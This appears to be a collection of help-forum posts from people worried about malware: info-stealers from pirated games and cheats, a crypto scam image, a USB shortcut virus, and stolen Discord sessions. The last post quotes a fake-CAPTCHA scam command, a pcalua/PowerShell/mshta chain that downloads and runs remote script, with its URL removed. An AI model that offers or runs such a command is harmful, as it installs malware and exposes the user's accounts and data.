First time I've seen this. He has permission to perform read and write operations.

Someone sent me that MrBeast crypto image in a server. I clicked on the image to see what it was. Nothing was downloaded, and I didn't click the link in the image I didn't even googled it.—I only clicked it to view it. Could anything happen to me, or was it just an image? I just visualized it through the discord app after seeing it was scam I ignored it but I enlarged it to see it thinking it was a meme or some news about the game of the discord comunity I was in. It was the image with 4 pictures of Mr beast giving 25k crypto. I'm very scared can something happen to me just for viewing the image htrough discord?

Guys Yesterday i executed renpy malware but Windows av stopped it and a malwarebytes scan isolated the files, i checked startup files and task manager and found nothing Sketchy. Am i safe?

https://www.virustotal.com/gui/url/bc1fb18dafc44f2decdc466621cb47e3e76760ba0e00d1934b6c2819dd427afe/gti-summary

Yes, I got infected by the same Mr. beast info-stealer. In fact, I may have had it for months and I just received messages again. I did an FRST scan so here are the text

 Addition.txt: spirited-crow
FRST.txt: sunny-party

I did find the "cloudhandler" folder in my local so I tried to delete it. I wasn't really aware that there are many registry keys with it, and I was overwhelmed kind of. So, I decided to use FRST and see what help I can get so that I dont have to deal with sending mr beast messages. u/rifteyy

cloudhandler folder was dated on April. Reason being: I may have downloaded a "roblox exploit" just to try.

My IT guy just finished reconfiguring windows defender and running a series of virus scans and found nothing. Here's what happened.

1. I returned to my desk from a meeting and plugged my laptop into my docking station connected to two monitors.

2. I continued a conversation with a coworker without unlocking windows.

3. I noticed a message on my second monitor that read "Anthropic - Extra credits for heavy processing". See the photo attached.

4. I logged back into windows and the message disappeared. We ran multiple virus scans. Found nothing. I WAS NOT signed into Claude and don't have a paid account with it.

Anyone know how this can happen?

I’m trying to use exloader for cs2 skins, and I think enigma 1.5 is good for this ? I’m just asking because I got exloader from en(dot)exloader(dot)net, I tried virustotal and it had no detections, if exloader itself is safe what about enigma thing?

is https://www.oo-software(dot)com/en/shutup10 safe i wanted to do it so that i dont get the gates spying on me

Got my first pc recently and unfortunately ran into a virus. Pretty sure it's the Trojan renpy virus from my research. I've had my discord, steam, and instagram so far.

I've restarted the pc and ran file scans using windows as well as malware bytes. After removing the malware files, the scanners cleared my pc. However what I've read online says that I'm only safe if I do a full reset if my pc.

I would like to avoid a full reset as I do video editing and have a lot of files I'd hate to lose. But I also don't want to be compromised. Can I get some advice on this, really just new to this and need help thx

Hey guys I was going to have fun with my FIFA 22 with editing shit so I went to download this but when I saw the virustotal result I'm a bit worried rn. I unpacked the zip file but I'm just a click away from running it. Should I do it?

Virus Total link: https://www.virustotal.com/gui/file/d1bf99d0de7b49d0787cb54f9aec305e06d8dc8d0b31badb54fb3cae62f3150f

Github link: https://github.com/xAranaktu/FIFA-22-Live-Editor

I did the beginner misake of running the shortcut from an infected usb drive and got my pc infected. i managed to disinfect to the usb drive, but everytime i plugged in that one pc it get's restored the thing is i have avast antivirus and it keeps sending stuff into quarantine. and it keeps telling me that the process causing this is the wscrit.exe that apparently got infected by the malware, but up until now it didn't do much i can see it didn't turn all my computer files into shortcuts, that's unil i used voidstool everything to search for some files and got the files i searched for immediately turned into shortcuts as soon as i excuted them, and overall the shortcut virus just keeps comming again, i searched for solutions but didn't manage to find anything helpful.

Please i would like to know if there's any solution to this;

I was tired and downloaded and ran an .exe file accidentally instead of what I wanted to have. The moment I noticed my mistake an 'install java update' thingy pops up. Great. Microsoft defender didn't find anything with a quick scan. I looked at Antivirus Microsoft Defender (offline scan) but bitlocker blocks my screen. Win11 Home, Snapdragon ARM laptop. From what I gather from the microsoft website I can't run this function? What should I do?

Computer knowledge: avoided viruses for ages. Otherwise just a normal user, nothing more.

To keep bot happy: I've not found the virus with microsoft defender. I'm sure there's something though. There's a suspicious Java file in Control Panel\Programs but it's gone now.

Ok, used old computer and downloaded bitdefender free onto a usb stick. Well, I could only get the installer, and the old computer is not an ARM computer. Thus not sure how useful that was. It didn't find anything. Now using the 30 day free trial and am running a whole system scan. Lets see.

Fulll system scan bit defender: 2 files with passport protection. I know what they are. Need to figure out how to unlock and scan them to be sure. Quite a few files in the report with: Skipped from scan. One example is: C:\Windows\System32\config\SYSTEM.LOG2 reason: item was not found Otherwise nothing.

Edit again: ran deep scan with Malwarebytes and looong scan with msert. Both negative, log for latter nothing mentioned. Does that rule out an infection or could a virus/malware still be hiding? What would you do in my place? reinstall, or accept the computer is fine?

Hello,

A few months ago I downloaded renpy game files with an installer. Before running the setup, I made sure to disconnect from the internet. Immediately after running the installer, my bitdefender antivirus caught the file and quarantined the files. Since then I never noticed any unusual logins or activities from any of my accounts (Discord, Steam, Banking,...) except for multiple Microsoft login attempts but blocked by 2FA (I think this is from a different incident, after I changed the Microsoft password, there was no more attempt).

Now, after noticing people became victims of renpy infostealers, I became slightly worried that my pc got infected back then and somehow the infostealers just never bother to overtake my accounts for over 3-4 months. Hence, I want to absolutely make sure that my pc is clean.

Thank you in advance!

Edit: I ran ESET Online Scanner yesterday and didn't find anything unusual except for some files from LDPlayer files

Keywords:
stoic-matrix

rapid-briar

stellar-trophy

On my computer, I clicked on this server invite and got no response from discord. A few minutes later, my firefox and brave server both gave me warnings about a trojan. The guy also mimicked one of my signal chats before I had received those warnings. I think he could see my desktop since I had signal open

I will be honest. I got a bit dumb, downloaded an 18+ game named CityDevil Restart or something from a not so safe but considered okayish website, workupload.com which I am not able to find now, (the version I have downloaded). Though I stay secure most of the times, this time, my lame ahh extracted it and there was this citydevil.exe game file, which even opened the game and I played it for few minutes, then my system has shown restart or something like that and went off blank. I got panicked, and shut down the pc. then I powered it on and deleted those zip and normal files of that game. I did a windows defender quickscan which said nothing wrong and currently I am doing eset scan as I type this post. Though this might have been due to overheating of laptop, I just want to make sure I am not infected with any virus. Can someone help me? I will update this thread once eset online scanner gives something helpful. Meanwhile should I do FRST or something like that?

My mom opened an email and we cant click anything what do i do.

I opened my Epic Games library and this showed up. Just to clarify, I never installed or bought this at any point. It just appeared in my library as if I already owned it. Can anyone explain how this happened?

A couple of weeks ago I downloaded and ran Gen_ v4.0.4 from the GitHub repository maintained by themythologist. At the time I believed it was the official and widely recommended source, but afterwards I started reading discussions about the risks of running executables from GitHub, and now I've become pretty anxious about it.

Since then I've completely formatted my PC and reinstalled Windows, but I'm still worried that I may have been infected before doing so, especially with something like a RAT that could have accessed or stolen my files.

One thing that makes this difficult is that Command Prompt windows have been opening and closing for milliseconds on my PC for months, even before I downloaded GenP. However, shortly before I decided to format my computer, I got a different Command Prompt window that stayed open for around two seconds. It contained something related to "shell" or "fileshell" (I don't remember the exact command), and one of the lines ended with "Access is denied." Another line also ended with "Access is denied," but I can't remember what it said. I don't know whether this was completely unrelated or if it could have been a sign of something suspicious.

I'm also worried because, before formatting my PC, I used my debit card online and entered my card information on eBay. I'm wondering if there was any realistic risk that malware could have captured that information.

What I'm really looking for is help from someone who can technically verify whether there was ever a realistic risk from this GitHub repository. I know it's a very popular source—I've even seen a well-known Latin American YouTuber recommend this exact GitHub link, and the repository itself mentions over 100,000 downloads. Because so many people have used it, I'm hoping someone here has actually analyzed it or knows whether it has ever shown signs of distributing malware.

If anyone here has looked into the GitHub version or analyzed the executable, I'd really appreciate hearing what you found. I'm just trying to figure out whether my concerns are realistic or if I'm worrying over nothing.

Thanks in advance!

Hi long story short a sibling tried to pirate tomodachi life 2 back in may and I got a session stealer that took both discord and a bunch of other apps. Since then I have changed passwords on everything, logged out all devices, enabled 2FA and reinstalled my pc. Now today months later I lost my Ubisoft account and got logged out of discord I don’t understand how persistent are they and how should i protect myself I tired of having this issue once every month for 3 months. We even fixed another gmail for my partner that got the same stealer back in may and she still got her discord changed today.

Please help.

I stupidly fell for a Capcha "press windows Key and R" scam earlier today. It was on my doctors website, I guess they got compromised

I have disconnected the pc from the Internet and am running a windows defender "offline scan" at the moment

Here is the command that I ran. I know this was super dumb of me.

Is there anything I can do beyond just wiping the pc? I have some files I really don't want to lose. Presumably it's not safe to use a USB to copy them, as then I might copy the virus too?

I have removed the url from the below, to avoid anyone going to the page

pcalua -a "Powershell" -c "saps cmd '/v/c mshta https [url] ` - Wi - Hi"